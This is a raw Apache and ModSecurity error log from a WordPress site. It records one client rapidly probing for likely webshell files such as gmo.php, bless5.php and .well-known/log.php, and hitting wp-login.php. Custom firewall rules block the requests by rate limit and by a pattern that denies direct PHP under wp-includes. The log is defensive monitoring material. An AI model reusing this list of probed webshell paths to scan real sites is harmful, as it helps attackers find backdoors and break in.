[Sun Mar 01 05:38:37.010508 2026] [:error] [pid 21159:tid 21235] [client 20.104.124.39:1533] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaNgXeLi3ouy1NZIkgoo0QAAAI4"]
[Sun Mar 01 05:38:40.430901 2026] [:error] [pid 21263:tid 21280] [client 20.104.124.39:17365] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaNgYNAxjzLvN1upBhnr-gAAAM0"]
[Sun Mar 01 05:38:41.227791 2026] [:error] [pid 21158:tid 21196] [client 20.104.124.39:1475] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaNgYTriSIe3-pWnbPblsQAAAEM"]
[Sun Mar 01 05:38:42.450874 2026] [:error] [pid 24576:tid 24580] [client 20.104.124.39:1535] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaNgYovfb5CnctJh070MLAAAAQE"]
[Sun Mar 01 05:38:43.845880 2026] [:error] [pid 21263:tid 21273] [client 20.104.124.39:1523] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaNgY9AxjzLvN1upBhnsCQAAAMY"]
[Sun Mar 01 05:38:45.524459 2026] [:error] [pid 21263:tid 21288] [client 20.104.124.39:1500] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaNgZdAxjzLvN1upBhnsFQAAANU"]
[Sun Mar 01 05:38:46.085199 2026] [:error] [pid 21159:tid 21240] [client 20.104.124.39:1428] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaNgZuLi3ouy1NZIkgopEAAAAJM"]
[Sun Mar 01 05:38:47.040809 2026] [:error] [pid 21263:tid 21283] [client 20.104.124.39:1450] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaNgZ9AxjzLvN1upBhnsHgAAANA"]
[Sun Mar 01 05:38:47.979060 2026] [:error] [pid 21156:tid 21184] [client 20.104.124.39:1445] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaNgZ6saG_9IkG8N2p3sqAAAABI"]
[Sun Mar 01 05:38:49.204303 2026] [:error] [pid 24576:tid 24582] [client 20.104.124.39:17347] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaNgaYvfb5CnctJh070MTAAAAQM"]
[Sun Mar 01 05:38:50.297775 2026] [:error] [pid 8688:tid 8704] [client 20.104.124.39:1431] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaNgajHJ4Nn-RvulD0qckgAAAU4"]
[Sun Mar 01 05:38:51.353408 2026] [:error] [pid 8688:tid 8706] [client 20.104.124.39:1413] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaNgazHJ4Nn-RvulD0qcmAAAAVA"]
[Sun Mar 01 05:38:51.961485 2026] [:error] [pid 8688:tid 8703] [client 20.104.124.39:1412] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaNgazHJ4Nn-RvulD0qcnAAAAU0"]
[Sun Mar 01 05:38:53.168915 2026] [:error] [pid 21263:tid 21273] [client 20.104.124.39:1435] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaNgbdAxjzLvN1upBhnsTAAAAMY"]
[Sun Mar 01 05:38:54.309189 2026] [:error] [pid 21158:tid 21209] [client 20.104.124.39:1421] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaNgbjriSIe3-pWnbPbl1gAAAFA"]
[Sun Mar 01 05:38:54.991224 2026] [:error] [pid 21156:tid 21171] [client 20.104.124.39:1432] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaNgbqsaG_9IkG8N2p3sxgAAAAU"]
[Sun Mar 01 05:38:56.202082 2026] [:error] [pid 24576:tid 24579] [client 20.104.124.39:1488] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaNgcIvfb5CnctJh070MZQAAAQA"]
[Sun Mar 01 05:38:57.521763 2026] [:error] [pid 21158:tid 21201] [client 20.104.124.39:1534] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaNgcTriSIe3-pWnbPbl4QAAAEg"]
[Sun Mar 01 05:38:58.079101 2026] [:error] [pid 21158:tid 21210] [client 20.104.124.39:1430] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaNgcjriSIe3-pWnbPbl4wAAAFE"]
[Sun Mar 01 05:38:58.608835 2026] [:error] [pid 21263:tid 21283] [client 20.104.124.39:1484] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaNgctAxjzLvN1upBhnsYgAAANA"]
[Sun Mar 01 05:38:59.818433 2026] [:error] [pid 24576:tid 24600] [client 20.104.124.39:1526] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaNgc4vfb5CnctJh070MbgAAARQ"]
[Sun Mar 01 05:39:01.225174 2026] [:error] [pid 21158:tid 21197] [client 20.104.124.39:17351] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaNgdTriSIe3-pWnbPbl7QAAAEQ"]
[Sun Mar 01 05:39:02.023112 2026] [:error] [pid 21158:tid 21202] [client 20.104.124.39:1417] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaNgdjriSIe3-pWnbPbl7gAAAEk"]
[Sun Mar 01 05:39:03.751842 2026] [:error] [pid 8688:tid 8714] [client 20.104.124.39:1436] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaNgdzHJ4Nn-RvulD0qcvAAAAVg"]
[Sun Mar 01 05:39:05.488709 2026] [:error] [pid 24576:tid 24585] [client 20.104.124.39:1434] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aaNgeYvfb5CnctJh070MoQAAAQY"]
[Sun Mar 01 05:39:06.153243 2026] [:error] [pid 24576:tid 24580] [client 20.104.124.39:17392] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aaNgeovfb5CnctJh070MqQAAAQE"]
[Sun Mar 01 05:39:21.840752 2026] [:error] [pid 8688:tid 8697] [client 20.104.124.39:1503] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaNgiTHJ4Nn-RvulD0qdMwAAAUc"]
[Sun Mar 01 05:39:36.124369 2026] [proxy_fcgi:error] [pid 8688:tid 8693] [client 20.104.124.39:1424] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 05:39:53.083891 2026] [:error] [pid 8688:tid 8701] [client 20.104.124.39:1521] [client 20.104.124.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.104.124.39, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaNgqTHJ4Nn-RvulD0qeUAAAAUs"]
[Sun Mar 01 05:39:58.756844 2026] [autoindex:error] [pid 8688:tid 8713] [client 20.104.124.39:1521] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 05:40:03.629807 2026] [:error] [pid 21158:tid 21207] [client 20.104.124.39:17405] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaNgszriSIe3-pWnbPbmagAAAE4"]
[Sun Mar 01 05:40:13.004720 2026] [autoindex:error] [pid 8688:tid 8708] [client 20.104.124.39:1521] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 05:40:17.650208 2026] [:error] [pid 24576:tid 24585] [client 20.104.124.39:1447] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaNgwYvfb5CnctJh070NxgAAAQY"]
[Sun Mar 01 05:40:19.048227 2026] [:error] [pid 24576:tid 24596] [client 20.104.124.39:1483] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaNgw4vfb5CnctJh070NygAAARA"]
[Sun Mar 01 05:40:20.094828 2026] [:error] [pid 24576:tid 24603] [client 20.104.124.39:1505] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaNgxIvfb5CnctJh070NzQAAARc"]
[Sun Mar 01 05:40:20.843489 2026] [:error] [pid 21159:tid 21243] [client 20.104.124.39:1418] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaNgxOLi3ouy1NZIkgopxwAAAJY"]
[Sun Mar 01 05:40:21.798809 2026] [:error] [pid 8688:tid 8710] [client 20.104.124.39:1512] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaNgxTHJ4Nn-RvulD0qfPwAAAVQ"]
[Sun Mar 01 05:40:23.139133 2026] [:error] [pid 8688:tid 8711] [client 20.104.124.39:1420] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaNgxzHJ4Nn-RvulD0qfUQAAAVU"]
[Sun Mar 01 05:40:24.038333 2026] [:error] [pid 8688:tid 8708] [client 20.104.124.39:1479] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaNgyDHJ4Nn-RvulD0qfXwAAAVI"]
[Sun Mar 01 05:40:25.443330 2026] [:error] [pid 21159:tid 21221] [client 20.104.124.39:1528] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaNgyeLi3ouy1NZIkgopzwAAAIA"]
[Sun Mar 01 05:40:27.843745 2026] [:error] [pid 8688:tid 8712] [client 20.104.124.39:17344] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaNgyzHJ4Nn-RvulD0qfbwAAAVY"]
[Sun Mar 01 05:40:29.496015 2026] [:error] [pid 21159:tid 21234] [client 20.104.124.39:1426] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaNgzeLi3ouy1NZIkgop1QAAAI0"]
[Sun Mar 01 05:40:30.283233 2026] [:error] [pid 21263:tid 21271] [client 20.104.124.39:1443] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaNgztAxjzLvN1upBhntIQAAAMQ"]
[Sun Mar 01 05:40:31.461293 2026] [:error] [pid 21158:tid 21202] [client 20.104.124.39:1463] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaNgzzriSIe3-pWnbPbmnAAAAEk"]
[Sun Mar 01 05:40:32.088208 2026] [:error] [pid 8688:tid 8692] [client 20.104.124.39:17404] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaNg0DHJ4Nn-RvulD0qffAAAAUI"]
[Sun Mar 01 05:40:33.240982 2026] [:error] [pid 21159:tid 21229] [client 20.104.124.39:1502] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaNg0eLi3ouy1NZIkgop4AAAAIg"]
[Sun Mar 01 05:40:34.537568 2026] [:error] [pid 8688:tid 8694] [client 20.104.124.39:1419] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaNg0jHJ4Nn-RvulD0qfkAAAAUQ"]
[Sun Mar 01 05:40:35.671608 2026] [:error] [pid 21158:tid 21211] [client 20.104.124.39:1521] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aaNg0zriSIe3-pWnbPbmpwAAAFI"]
[Sun Mar 01 05:40:36.535591 2026] [:error] [pid 21158:tid 21202] [client 20.104.124.39:1492] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaNg1DriSIe3-pWnbPbmrAAAAEk"]
[Sun Mar 01 05:40:37.132298 2026] [:error] [pid 21159:tid 21221] [client 20.104.124.39:1508] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaNg1eLi3ouy1NZIkgop-gAAAIA"]
[Sun Mar 01 05:40:37.954132 2026] [:error] [pid 8688:tid 8701] [client 20.104.124.39:1516] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaNg1THJ4Nn-RvulD0qfnAAAAUs"]
[Sun Mar 01 05:40:38.865501 2026] [:error] [pid 24576:tid 24598] [client 20.104.124.39:17358] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aaNg1ovfb5CnctJh070N-QAAARI"]
[Sun Mar 01 05:40:40.135231 2026] [:error] [pid 8688:tid 8714] [client 20.104.124.39:17362] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaNg2DHJ4Nn-RvulD0qftwAAAVg"]
[Sun Mar 01 05:40:41.118351 2026] [:error] [pid 21263:tid 21270] [client 20.104.124.39:1525] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaNg2dAxjzLvN1upBhntOAAAAMM"]
[Sun Mar 01 05:40:41.862794 2026] [:error] [pid 8688:tid 8712] [client 20.104.124.39:17364] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaNg2THJ4Nn-RvulD0qfwAAAAVY"]
[Sun Mar 01 05:40:42.712922 2026] [:error] [pid 8688:tid 8713] [client 20.104.124.39:17354] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless5.php"] [unique_id "aaNg2jHJ4Nn-RvulD0qfyAAAAVc"]
